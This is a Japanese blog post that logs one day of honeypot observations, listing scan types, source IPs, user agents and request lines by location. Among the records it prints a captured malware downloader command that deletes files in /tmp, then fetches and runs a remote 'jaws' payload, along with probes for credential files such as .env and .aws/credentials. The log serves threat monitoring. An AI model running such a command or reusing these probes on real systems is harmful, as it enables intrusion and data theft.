コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/09/14 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/09/14分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:US

Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

Location:UK

TP-Link製品の脆弱性(CVE-2023-1389)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:SG

Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
.jsへのスキャン行為

を確認しました。

アクセス数推移

JP:総アクセス数:224 (前日比:-625)
US:総アクセス数:253 (前日比:148)
UK:総アクセス数:200 (前日比:59)
SG:総アクセス数:88 (前日比:-144)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 34.79.55.15 United States
49 35.88.101.182 United States
6 43.154.141.71 Singapore
96 44.211.25.78 United States
1 45.56.108.128 United States
1 45.79.172.21 United States
2 51.158.37.186 France
1 52.54.105.116 United States
1 64.62.197.140 United States
1 64.62.197.146 United States
1 65.49.1.79 United States
4 69.164.209.169 United States
8 85.208.114.140 Cyprus
1 91.148.190.134 Bulgaria
1 95.214.55.115 Poland
1 103.167.135.22 Hong Kong
1 104.131.144.24 United States
3 104.192.0.50 United States
2 109.237.98.226 Russia
1 116.131.53.98 China
1 119.164.103.36 China
1 129.146.73.21 United States
14 135.125.244.48 France
2 138.68.143.68 United States
1 138.197.92.178 United States
1 149.129.50.37 Singapore
1 162.142.125.11 United States
1 162.142.125.13 United States
1 162.243.131.39 United States
1 172.104.11.34 United States
3 172.200.103.29 United Kingdom
4 185.254.196.173 Ukraine
5 185.254.196.186 Ukraine
1 198.235.24.150 United States
1 205.210.31.106 United States
1 216.250.249.99 United States
1 218.28.124.102 China
1 218.92.247.138 China
1 220.200.178.147 China

UserAgent一覧

件数 UserAgent
8 -
3 Go-http-client/1.1
1 Hello, World
2 Hello, world
1 Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; SYMPA; Katiesoft 7; SimulBrowse 3.0)
96 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64)
2 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
81 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
1 curl/7.81.0
2 python-requests/2.25.1
1 python-requests/2.26.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01\x01H\x01
5 \x16\x03\x01
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.development HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.example HTTP/1.1
1 GET /.env.old HTTP/1.1
1 GET /.env.prod HTTP/1.1
2 GET /.env.production HTTP/1.1
1 GET /.env.project HTTP/1.1
1 GET /.env.save HTTP/1.1
30 GET /.env HTTP/1.1
5 GET /.git/config HTTP/1.1
1 GET /.hg HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /.svn HTTP/1.1
1 GET /PHPConf.php HTTP/1.1
1 GET /Temporary_Listen_Addresses/ HTTP/1.1
1 GET /_phpinfo.php HTTP/1.1
3 GET /_profiler/phpinfo HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin/phpinfo.php HTTP/1.1
1 GET /ads.txt HTTP/1.1
1 GET /amazon_config.xml HTTP/1.1
1 GET /api.py HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /application/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /appsettings.json HTTP/1.1
1 GET /athena.py HTTP/1.1
1 GET /aws-image.json HTTP/1.1
1 GET /aws.xml HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /backup.py HTTP/1.1
1 GET /bench.py HTTP/1.1
1 GET /build.sh HTTP/1.1
1 GET /builder.py HTTP/1.1
1 GET /clean.sh HTTP/1.1
1 GET /cms/.env HTTP/1.1
1 GET /common.py HTTP/1.1
1 GET /common.sh HTTP/1.1
1 GET /config-data.json HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config.py HTTP/1.1
1 GET /configure.sh HTTP/1.1
1 GET /connect.py HTTP/1.1
1 GET /consul.json HTTP/1.1
1 GET /core-site.xml HTTP/1.1
1 GET /core.py HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /deploy.sh HTTP/1.1
1 GET /dev.sh HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /docker.auth.json%20 HTTP/1.1
1 GET /docker.json HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /docker_run.sh HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /env.js HTTP/1.1
1 GET /enviroments/.env.production HTTP/1.1
1 GET /enviroments/.env HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /fedex/.env HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /images.py HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /info/info.php HTTP/1.1
1 GET /info/phpinfo.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /information.php HTTP/1.1
1 GET /information HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /license.json HTTP/1.1
1 GET /live_env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /loggers.py HTTP/1.1
1 GET /main.xml HTTP/1.1
1 GET /now.json HTTP/1.1
1 GET /now.staging.json HTTP/1.1
1 GET /orders_config.json HTTP/1.1
1 GET /p.php HTTP/1.1
1 GET /packer.json HTTP/1.1
1 GET /parameters.json HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php_info.php HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpinformation HTTP/1.1
1 GET /phptest.php HTTP/1.1
1 GET /phpunit.xml.dist HTTP/1.1
1 GET /phpunit.xml HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /pipelines.xml HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /publish.sh HTTP/1.1
1 GET /py.py HTTP/1.1
1 GET /rest/.env HTTP/1.1
1 GET /rubber-docker.json HTTP/1.1
1 GET /s3.config.json HTTP/1.1
1 GET /sample.txt HTTP/1.1
1 GET /scheme.json HTTP/1.1
1 GET /script/.env HTTP/1.1
1 GET /scripts/phpinfo.php HTTP/1.1
1 GET /secrets_example.json HTTP/1.1
1 GET /security/index.xml HTTP/1.1
1 GET /services-context.xml HTTP/1.1
1 GET /shared/.env HTTP/1.1
2 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /sources/.env HTTP/1.1
1 GET /system.xml HTTP/1.1
1 GET /system/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /testphpinfo.php HTTP/1.1
1 GET /testphpinfo HTTP/1.1
1 GET /turbo.json HTTP/1.1
1 GET /v2/trades/btcusdt HTTP/1.1
2 GET /v3/time HTTP/1.1
1 GET /viewinfo.php HTTP/1.1
1 GET /vrscreds.json HTTP/1.1
1 GET /webdav/info.php HTTP/1.1
1 GET /webdav/phpinfo.php HTTP/1.1
1 GET /webdav/phpinfo HTTP/1.1
1 GET /yuuki?pp=env HTTP/1.1
1 GET http[:]//www[.]1ucn[.]com/proxychecker/index.php HTTP/1.1
6 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /.aws/credentials HTTP/1.1
1 POST /.env.development HTTP/1.1
1 POST /.env.dist HTTP/1.1
1 POST /.env.old HTTP/1.1
1 POST /.env.prod HTTP/1.1
1 POST /.env.production HTTP/1.1
1 POST /.env.project HTTP/1.1
1 POST /.env.save HTTP/1.1
1 POST /.env HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /admin-app/.env HTTP/1.1
1 POST /api/.env HTTP/1.1
1 POST /app/.env HTTP/1.1
1 POST /application/.env HTTP/1.1
1 POST /apps/.env HTTP/1.1
1 POST /back/.env HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cms/.env HTTP/1.1
1 POST /core/.env HTTP/1.1
1 POST /development/.env HTTP/1.1
1 POST /docker/.env HTTP/1.1
1 POST /enviroments/.env.production HTTP/1.1
1 POST /enviroments/.env HTTP/1.1
1 POST /fedex/.env HTTP/1.1
1 POST /laravel/.env HTTP/1.1
1 POST /live_env HTTP/1.1
1 POST /local/.env HTTP/1.1
1 POST /private/.env HTTP/1.1
1 POST /rest/.env HTTP/1.1
1 POST /script/.env HTTP/1.1
1 POST /shared/.env HTTP/1.1
1 POST /sources/.env HTTP/1.1
1 POST /system/.env HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 1.85.216.220 China
1 5.188.210.227 Russia
3 36.225.100.80 Taiwan
2 45.79.128.205 United States
1 45.79.181.104 United States
1 45.79.181.179 United States
5 50.31.21.8 United States
10 51.79.29.48 Canada
13 54.36.115.221 France
2 54.145.169.48 United States
2 54.205.192.236 United States
1 57.128.115.231 France
1 60.13.138.107 China
1 71.6.134.231 United States
4 71.6.165.200 United States
2 74.82.47.3 United States
1 74.249.216.234 United States
3 80.66.76.80 Russia
2 83.97.73.87 Germany
1 95.214.55.115 Poland
1 107.170.208.38 United States
1 125.84.237.126 China
1 137.184.127.74 United States
13 138.68.165.68 United States
144 139.144.52.241 United States
1 144.255.31.96 China
1 147.182.145.37 United States
1 157.245.144.50 United States
2 162.142.125.217 United States
2 165.22.60.26 United States
2 167.94.138.50 United States
2 167.94.145.57 United States
1 167.172.30.174 United States
2 167.248.133.124 United States
1 172.104.11.4 United States
2 172.104.11.34 United States
1 172.105.128.11 United States
1 172.105.128.13 United States
2 179.43.191.194 Panama
1 180.149.125.169 Mongolia
2 183.136.225.5 China
1 184.105.139.69 United States
4 185.142.236.43 Seychelles
2 192.155.90.118 United States
1 192.155.90.220 United States
1 192.241.236.81 United States
1 198.199.116.49 United States
1 205.210.31.142 United States
1 216.250.249.99 United States

UserAgent一覧

件数 UserAgent
35 -
1 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
4 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
5 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
6 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
143 curl/7.54.0
1 curl/8.1.2
4 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
3 \x03
1 \x16\x03\x01\x02
20 \x16\x03\x01
24 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
4 GET /.git/config HTTP/1.1
2 GET /.well-known/security.txt HTTP/1.1
1 GET //.env HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /?20628182016134805143312Ex HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /CGpb HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
2 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /base.shtml HTTP/1.1
1 GET /bundle.js HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.aspx HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /evox/about HTTP/1.1
15 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.aspx HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.html HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.cgi HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.aspx HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.cgi HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /indice.shtml HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /inicio.asp HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.jsa HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.php HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.aspx HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.html HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.cgi HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.php HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.cgi HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jhtml HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1694574434 HTTP/1.1
1 GET /nmaplowercheck1694600478 HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
4 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
2 GET /sitemap.xml HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.jsp HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /start.pl HTTP/1.1
1 GET /start.shtml HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
2 GET /testalive HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET default.asp HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
2 HEAD / HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /login.asp?id=44 HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
2 POST /sdk HTTP/1.1
4 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
1 5.188.206.213 Russia
1 13.56.194.68 United States
45 13.126.251.49 United States
14 18.135.98.59 United States
1 24.199.91.102 United States
1 27.227.186.237 China
7 35.216.216.224 United States
1 35.241.146.43 United States
5 36.225.100.80 Taiwan
1 45.33.80.243 United States
1 45.55.32.67 United States
2 45.79.181.104 United States
4 54.36.115.221 France
19 54.37.79.75 France
1 58.18.161.94 China
1 64.62.197.143 United States
1 65.49.1.38 United States
1 65.49.1.50 United States
1 66.240.205.34 United States
1 71.6.134.233 United States
1 95.214.55.115 Poland
4 103.83.144.161 India
1 107.170.232.21 United States
34 109.74.204.123 United States
1 120.0.52.175 China
1 138.68.81.206 United States
2 143.110.192.203 United States
2 146.190.111.14 United States
2 157.230.99.127 United States
1 157.230.99.148 United States
1 157.245.144.50 United States
5 159.203.143.51 United States
1 159.223.9.199 United States
2 162.142.125.222 United States
2 165.227.47.218 United States
5 165.227.150.41 United States
2 167.71.229.198 United States
2 167.94.145.55 United States
2 172.104.11.51 United States
2 172.105.128.11 United States
2 172.105.128.12 United States
1 172.105.128.13 United States
1 179.43.191.194 Panama
1 180.109.51.119 China
1 180.149.125.165 Mongolia
2 183.136.225.32 China
2 188.166.68.252 United States
2 192.155.90.118 United States
1 192.241.204.75 United States
1 193.219.97.131 Netherlands
1 198.235.24.18 United States
1 198.235.24.246 United States
2 220.124.37.54 South Korea

UserAgent一覧

件数 UserAgent
6 'Cloud mapping experiment. Contact research@pdrlabs.net'
94 -
4 FooBarTest
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
4 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
23 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
7 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
31 curl/7.54.0

リクエスト内容一覧

件数 Method Request Protocol
2 Gh0st\xad
1 HELP
1 MGLNDD_132.145.66.34_80\n
1 SSH-2.0-libssh2_1.10.0
1 \x16\x03\x01\x01\x07\x01
3 \x16\x03\x01\x02
29 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
1 ``
1 GET /+CSCOE+/logon.html HTTP/1.1
24 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /ENxQ HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /Temporary_Listen_Addresses/ HTTP/1.1
1 GET /__Additional HTTP/1.1
3 GET /aaa9 HTTP/1.1
3 GET /aab8 HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /admin/index.html HTTP/1.1
1 GET /api/sonicos/auth HTTP/1.1
1 GET /api/sonicos/tfa HTTP/1.1
1 GET /auth.html HTTP/1.1
1 GET /auth1.html HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /c/ HTTP/1.1
3 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/login.cgi HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
15 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /manage/account/login HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1694550281 HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
2 GET /server-status HTTP/1.1
1 GET /sslvpnLogin.html HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET http[:]//132[.]145[.]66[.]34:80/MyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/PHPMYADMIN/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/SQL/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/_phpMyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/admin/phpmyadmin/scripts/setup.txt HTTP/1.0
